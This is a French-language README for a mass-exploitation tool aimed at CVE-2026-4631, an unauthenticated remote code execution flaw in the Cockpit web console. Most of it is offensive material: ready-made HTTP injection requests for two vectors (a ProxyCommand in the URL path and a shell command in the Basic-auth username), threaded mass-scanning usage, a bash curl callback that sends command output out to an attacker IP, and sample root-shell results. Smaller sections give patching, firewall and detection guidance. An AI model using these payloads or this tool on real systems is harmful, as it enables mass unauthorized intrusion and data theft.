Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Cockpit versions 327 – 359 | CVSS 9.8 Critique | CWE-78
Exécution de code à distance non authentifiée via injection d'argument de ligne de commande SSH Versions Cockpit 327 – 359 | CVSS 9.8 Critique | CWE-78
Outil d'exploitation de masse pour CVE-2026-4631 sur le service web Cockpit (cockpit-ws, port 9090). Prend en charge le mode scan de vulnérabilité, le mode RCE avec capture de sortie de commande via un écouteur de rappel HTTP intégré, le mode --auto (scan + exploitation en une seule fois avec la commande par défaut id), l'ajout automatique du port :9090 pour les cibles sans port, les deux vecteurs d'attaque (ProxyCommand + injection %r du nom d'utilisateur), les cibles multiples depuis un fichier, le threading concurrent et un résultat structuré.
Auteur : 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Modifiez targets.txt — un hôte par ligne. Le port :9090 est automatiquement ajouté s'il est absent :
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploitation en une seule fois, commande par défaut "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTAQUANT>
# Exemple de sortie dans results.txt :
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan de vulnérabilité uniquement (sans exploitation)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explicite avec commande personnalisée
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTAQUANT>
# Cible unique
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTAQUANT>
CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP. L'outil utilise un écouteur HTTP intégré (port par défaut 8888) pour capturer la sortie. Assurez-vous :
--callback-ip est une IP accessible depuis la cible (pas 127.0.0.1)8888 (ou --listener-port personnalisé)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Vérifier la version (doit être >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Modifiez /etc/cockpit/cockpit.conf :
[WebService]
LoginTo = false
Redémarrez le service :
sudo systemctl restart cockpit
Restreignez le port 9090 au seul réseau d'administration :
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Atténue le vecteur 1 (injection ProxyCommand) via la validation précoce du nom d'hôte :
ssh -V # doit être OpenSSH_9.6 ou plus récent
Si la mise à niveau vers 360 n'est pas possible, appliquez les commits de correctif :
-- dans beiboot.py et cockpitauth.c-- dans session.pyDétail du correctif : voir docs/PATCH_ANALYSIS.md
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Gravité | Critique (CVSS 9.8) |
| CWE | CWE-78 — Injection de commande système |
| Affecté | Cockpit 327 – 359 |
| Corrigé dans | Cockpit 360+ |
| Authentification requise | NON (pré-authentification) |
| Signaleur | Jelle van der Waa |
| Service | cockpit-ws, port par défaut 9090 |
Cockpit v327 a remplacé cockpit-ssh (libssh) par python3 -m cockpit.beiboot qui invoque le client ssh OpenSSH système. Des entrées contrôlées par l'utilisateur — le nom d'hôte du chemin URL et le nom d'utilisateur de l'en-tête Authorization: Basic — sont transmises à ssh sans assainissement et sans le séparateur de fin d'options --. L'injection se produit avant la vérification des identifiants, donc aucune connexion valide n'est nécessaire.
Le nom d'hôte du chemin URL est injecté avec l'option SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<PAYLOAD_ENCODÉ_URL>/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x:x")
SSH analyse -oProxyCommand=<cmd> comme une option, exécute <cmd> comme ProxyCommand. La commande s'exécute en tant que processus utilisateur cockpit-ws.
Prérequis : OpenSSH < 9.6 sur la cible. OpenSSH 9.6+ dispose d'une validation précoce du nom d'hôte qui bloque les métacaractères.
%r du nom d'utilisateur (Secondaire)Le nom d'utilisateur de l'en-tête Authorization: Basic est injecté avec une commande shell.
GET /cockpit+=hôte-légitime/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH développe %r avec le nom d'utilisateur dans la directive Match exec → le shell exécute la commande injectée.
Prérequis : le ssh_config de la cible possède une directive Match exec avec le jeton %r.
LoginTo) non désactivéessh_config avec Match exec %r# Cloner depuis GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Installer les dépendances
pip install -r requirements.txt
# Vérifier
python3 exploit.py --help
requests>=2.31 — client HTTP pour les requêtes d'exploitationcolorama>=0.4 — sortie terminal coloréeAucune dépendance supplémentaire pour l'écouteur (utilise les bibliothèques standard http.server + threading).
usage: exploit.py [-h] [-t CIBLE] [-f FICHIER] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o SORTIE] [--callback-ip IP_RAPPEL] [--listener-port PORT_ECOUTEUR]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAI] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — RCE non authentifié via injection d'argument SSH
arguments optionnels :
-h, --help afficher ce message d'aide et quitter
-t, --target URL/hôte cible unique (port ajouté automatiquement si absent)
-f, --file fichier contenant la liste des cibles (une par ligne)
--default-port port ajouté si la cible est sans port (par défaut : 9090)
-c, --cmd commande à exécuter (défaut : "id" en mode --auto / RCE)
--scan mode scan de vulnérabilité (pas de RCE, sonde de point d'accès uniquement)
--auto scan + exploitation en une seule fois, commande par défaut "id"
--vector vecteur d'exploitation : auto|proxycommand|username (défaut : auto)
-o, --output fichier de sortie des résultats (défaut : results.txt)
--callback-ip IP de l'attaquant accessible depuis la cible (pour l'écouteur de rappel)
--listener-port port de l'écouteur de rappel (défaut : 8888)
--threads workers concurrents (défaut : 10)
--timeout secondes d'attente du rappel par cible (défaut : 10)
--delay délai entre les requêtes en secondes (défaut : 0)
--proxy proxy HTTP pour le débogage (ex.: http://127.0.0.1:8080)
--user-agent chaîne User-Agent personnalisée
-v, --verbose sortie verbeuse (débogage)
--no-color désactiver la sortie colorée
--scan)Sonde le point d'accès /cockpit+=probe-host/login sans exploitation. Détecte :
N'envoie pas de charge utile dangereuse, pas besoin d'écouteur de rappel.
-c "cmd")Exécute une commande sur la cible, capture la sortie via rappel :
curl pour exfiltrer vers l'écouteur-c n'est pas fourni, la commande par défaut = id--auto) — RecommandéScan + exploitation en une seule passe, commande par défaut id :
id (ou -c pour remplacer)host [ uid=0(root) ... ]--vector auto)Essaie d'abord le vecteur 1 (ProxyCommand). Si la réponse indique OpenSSH >= 9.6 (erreur de validation du nom d'hôte), bascule sur le vecteur 2 (nom d'utilisateur %r).
Chaque entrée dans targets.txt sans port reçoit automatiquement :9090 :
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Cible sans port → auto :9090, commande par défaut "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Remplacement de commande
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
Sortie results.txt :
# CVE-2026-4631 résultats d'exploitation de masse — 2026-07-12 00:42
# mode : auto
# commande : id
# vecteur : auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - aucun rappel reçu (OpenSSH >= 9.6 ?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
Sortie scan_results.txt :
target1.example.com:9090 [ VULN - flux de connexion Cockpit actif (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t cible -c "id" --callback-ip 10.10.10.10
# équivalent : -t http://cible:9090/
Sortie :
cible:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Forcer le vecteur 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Forcer le vecteur 2 nom d'utilisateur %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://cible:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
Format du fichier de résultats : une ligne par cible.
<host> [ <statut_ou_sortie> ]
| Statut | Signification |
|---|---|
uid=0(root) ... | RCE réussi, sortie de commande capturée |
VULN - aucun rappel reçu (OpenSSH >= 9.6 ?) | Cible vulnérable mais vecteur 1 bloqué par OpenSSH 9.6+, essayer vecteur 2 |
VULN - point d'accès actif | Mode scan, point d'accès vulnérable détecté |
NOT VULN | Cockpit >= 360 ou point d'accès inexistant |
UNREACHABLE | Échec de connexion / délai d'attente de connexion |
ERROR: <msg> | Exception lors de l'exécution |
L'en-tête du fichier de résultats enregistre l'horodatage, la commande, le vecteur et le nombre de cibles.
flowchart TD
CLI["exploit.py<br/>argparse CLI + bannière"] --> Parser["core/target.py<br/>analyse et normalise les cibles"]
CLI --> Engine["core/engine.py<br/>orchestrateur"]
Engine --> Listener["core/listener.py<br/>serveur HTTP de rappel en thread"]
Engine --> Pool["ThreadPoolExecutor<br/>workers concurrents"]
Pool --> Scanner["core/scanner.py<br/>sonde de vulnérabilité"]
Pool --> Exploit["core/exploit.py<br/>générateur de charge utile"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cible Cockpit :9090"]
Target -->|"RCE aveugle<br/>rappel curl"| Listener
Listener --> Shared["dict partagé<br/>REQID -> sortie"]
Engine --> Result["utils/result.py<br/>écrit results.txt"]
Shared --> Engine-f fichier / -t url, normalise (ajout http://, port par défaut 9090), dédoublonne--scan, sonde le point d'accès, identifie Cockpit, infère la vulnérabilitérequestsThreadingHTTPServer sur --callback-ip:--listener-port, analyse ?id=REQID&out=BASE64, stocke dans le dict partagéhost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # point d'entrée CLI
├── requirements.txt # dépendances
├── README.md # cette documentation
├── targets.txt # exemple de liste de cibles
├── results.txt # sortie (généré)
├── core/
│ ├── __init__.py
│ ├── target.py # analyseur de cibles
│ ├── scanner.py # mode scan de vulnérabilité
│ ├── exploit.py # générateur de charge utile + envoi
│ ├── listener.py # serveur HTTP de rappel
│ └── engine.py # orchestrateur
├── utils/
│ ├── __init__.py
│ ├── banner.py # bannière ASCII
│ └── result.py # écriture des résultats
└── docs/
├── VULN_ANALYSIS.md # analyse approfondie de la vulnérabilité
├── PATCH_ANALYSIS.md # analyse des commits de correctif
└── DETECTION.md # signatures de détection
CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP de Cockpit. L'outil contourne cela avec un écouteur HTTP de rappel intégré :
--callback-ip:--listener-portbash -c 'curl -s http://IP_RAPPEL:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<PAYLOAD_ENCODÉ_URL>/login
Authorization: Basic base64("x:x")
requests.get, verify=False pour les certificats auto-signésresults[REQID] jusqu'à --timeouthost [ sortie_décodée ] dans le fichier de sortieSi le délai d'attente expire sans rappel, vérifie l'erreur SSH dans la réponse :
VULN - aucun rappel (OpenSSH >= 9.6 ?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) parallèle par cibledict[REQID] -> hôte_cible partagé + dict[REQID] -> sortie avec threading.LockThreadingHTTPServer gère les rappels concurrentstry/except par cible : erreur de connexion, erreur SSL, délai d'attenteGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Surveillez :
-oProxyCommand= dans le chemin URL;) dans la valeur Authorization: Basic décodéejournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf :
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnérable : 327 <= version <= 359
Cet outil est destiné aux tests de pénétration autorisés, à la recherche en sécurité et à la validation de vulnérabilité sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite d'être testés.
L'utilisation de cet outil sur des systèmes sans autorisation explicite du propriétaire est illégale et peut entraîner des sanctions pénales conformément aux lois applicables (en Indonésie : UU ITE Articles 30-33).
L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil. Utilisez-le de manière éthique et responsable.
Cas d'utilisation autorisés :
| Ressource | URL |
|---|---|
| Avis GitHub | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Divulgation OSS-Security | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Bugzilla Red Hat | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Entrée NVD | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Commit de correctif (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Commit de correctif (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Bogue argparse CPython | https://github.com/python/cpython/issues/66623 |
| Validation du nom d'hôte OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| PoC de référence | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
À des fins de recherche et de tests autorisés. Pas de distribution commerciale sans autorisation.